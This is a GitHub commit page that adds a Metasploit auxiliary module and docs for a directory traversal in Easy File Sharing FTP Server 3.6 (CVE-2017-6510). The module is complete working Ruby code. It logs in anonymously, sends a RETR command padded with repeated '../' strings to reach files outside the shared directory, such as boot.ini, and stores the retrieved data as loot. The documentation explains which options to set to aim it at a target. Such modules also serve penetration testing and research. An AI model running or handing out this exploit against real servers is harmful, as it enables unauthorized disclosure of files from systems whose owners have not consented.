Skip to content

Commit d4ee254

Browse files
committed
Land rapid7#8076, Add Easy File Sharing FTP Server Version 3.6 traversal
2 parents a0ba3f1 + 8afe6a9 commit d4ee254

File tree

2 files changed

+139
-0
lines changed

2 files changed

+139
-0
lines changed
Lines changed: 27 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,27 @@
1+
This module exploits a directory traversal vulnerability in Easy File Sharing FTP Server 3.6, or
2+
prior. It abuses the RETR command in FTP in order to retrieve a file outside the shared directory.
3+
4+
By default, anonymous access is allowed by the FTP server.
5+
6+
## Vulnerable Application
7+
8+
Easy File Sharing FTP Server version 3.6 or prior should be affected. You can download the
9+
vulnerable application from the official website:
10+
11+
http://www.efssoft.com/efsfs.exe
12+
13+
## Options
14+
15+
Since the FTP server allows anonymous access, by default, you only need to configure:
16+
17+
**RHOSTS**
18+
19+
The FTP server IP address.
20+
21+
**PATH**
22+
23+
The file you wish to download. Assume this path starts from C:\
24+
25+
## Demonstration
26+
27+
![ftp](https://cloud.githubusercontent.com/assets/1170914/23971054/4fdc2b08-099a-11e7-88ea-67a678628e49.gif)
Lines changed: 112 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,112 @@
1+
##
2+
# This module requires Metasploit: http://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
require 'msf/core'
7+
8+
class MetasploitModule < Msf::Auxiliary
9+
10+
include Msf::Exploit::Remote::Ftp
11+
include Msf::Auxiliary::Report
12+
include Msf::Auxiliary::Scanner
13+
14+
def initialize(info = {})
15+
super(update_info(info,
16+
'Name' => 'Easy File Sharing FTP Server 3.6 Directory Traversal',
17+
'Description' => %q{
18+
This module exploits a directory traversal vulnerability found in Easy File Sharing FTP Server Version 3.6 and Earlier.
19+
This vulnerability allows an attacker to download arbitrary files from the server by crafting
20+
a RETR command that includes file system traversal strings such as '../'
21+
},
22+
'Platform' => 'win',
23+
'Author' =>
24+
[
25+
'Ahmed Elhady Mohamed' # @kingasmk ahmed.elhady.mohamed[at]gmail.com
26+
],
27+
'License' => MSF_LICENSE,
28+
'References' =>
29+
[
30+
[ 'CVE', '2017-6510']
31+
],
32+
'DisclosureDate' => 'Mar 07 2017'
33+
))
34+
35+
register_options(
36+
[
37+
OptInt.new('DEPTH', [ true, 'Traversal Depth (to reach the root folder)', 32 ]),
38+
OptString.new('PATH', [ true, "Path to the file to disclose, releative to the root dir.", 'boot.ini'])
39+
], self.class)
40+
end
41+
42+
def check_host(ip)
43+
begin
44+
connect
45+
if /Easy File Sharing FTP Server/i === banner
46+
return Exploit::CheckCode::Detected
47+
end
48+
ensure
49+
disconnect
50+
end
51+
52+
Exploit::CheckCode::Safe
53+
end
54+
55+
def run_host(target_host)
56+
begin
57+
# Login anonymously and open the socket that we'll use for data retrieval.
58+
connect_login
59+
sock = data_connect
60+
if sock.nil?
61+
error_msg = 'data_connect failed; posssible invalid response'
62+
print_status(error_msg)
63+
elog(error_msg)
64+
else
65+
file_path = datastore['PATH']
66+
file = ::File.basename(file_path)
67+
68+
# make RETR request and store server response message...
69+
retr_cmd = ( "../" * datastore['DEPTH'] ) + "#{file_path}"
70+
res = send_cmd( ["RETR", retr_cmd])
71+
72+
# read the file data from the socket that we opened
73+
# dont assume theres still a sock to read from. Per #7582
74+
if sock.nil?
75+
error_msg = 'data_connect failed; posssible invalid response'
76+
print_status(error_msg)
77+
elog(error_msg)
78+
return
79+
else
80+
# read the file data from the socket that we opened
81+
response_data = sock.read(1024)
82+
end
83+
84+
unless response_data
85+
print_error("#{file_path} not found")
86+
return
87+
end
88+
89+
if response_data.length == 0 or ! (res =~ /^150/ )
90+
print_status("File (#{file_path})from #{peer} is empty...")
91+
return
92+
end
93+
94+
# store file data to loot
95+
loot_file = store_loot("easy.file.sharing.ftp.data", "text", rhost, response_data, file, file_path)
96+
vprint_status("Data returned:\n")
97+
vprint_line(response_data)
98+
print_good("Stored #{file_path} to #{loot_file}")
99+
end
100+
101+
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout => e
102+
vprint_error(e.message)
103+
elog("#{e.class} #{e.message} #{e.backtrace * "\n"}")
104+
rescue ::Timeout::Error, ::Errno::EPIPE => e
105+
vprint_error(e.message)
106+
elog("#{e.class} #{e.message} #{e.backtrace * "\n"}")
107+
ensure
108+
data_disconnect
109+
disconnect
110+
end
111+
end
112+
end

0 commit comments

Comments
 (0)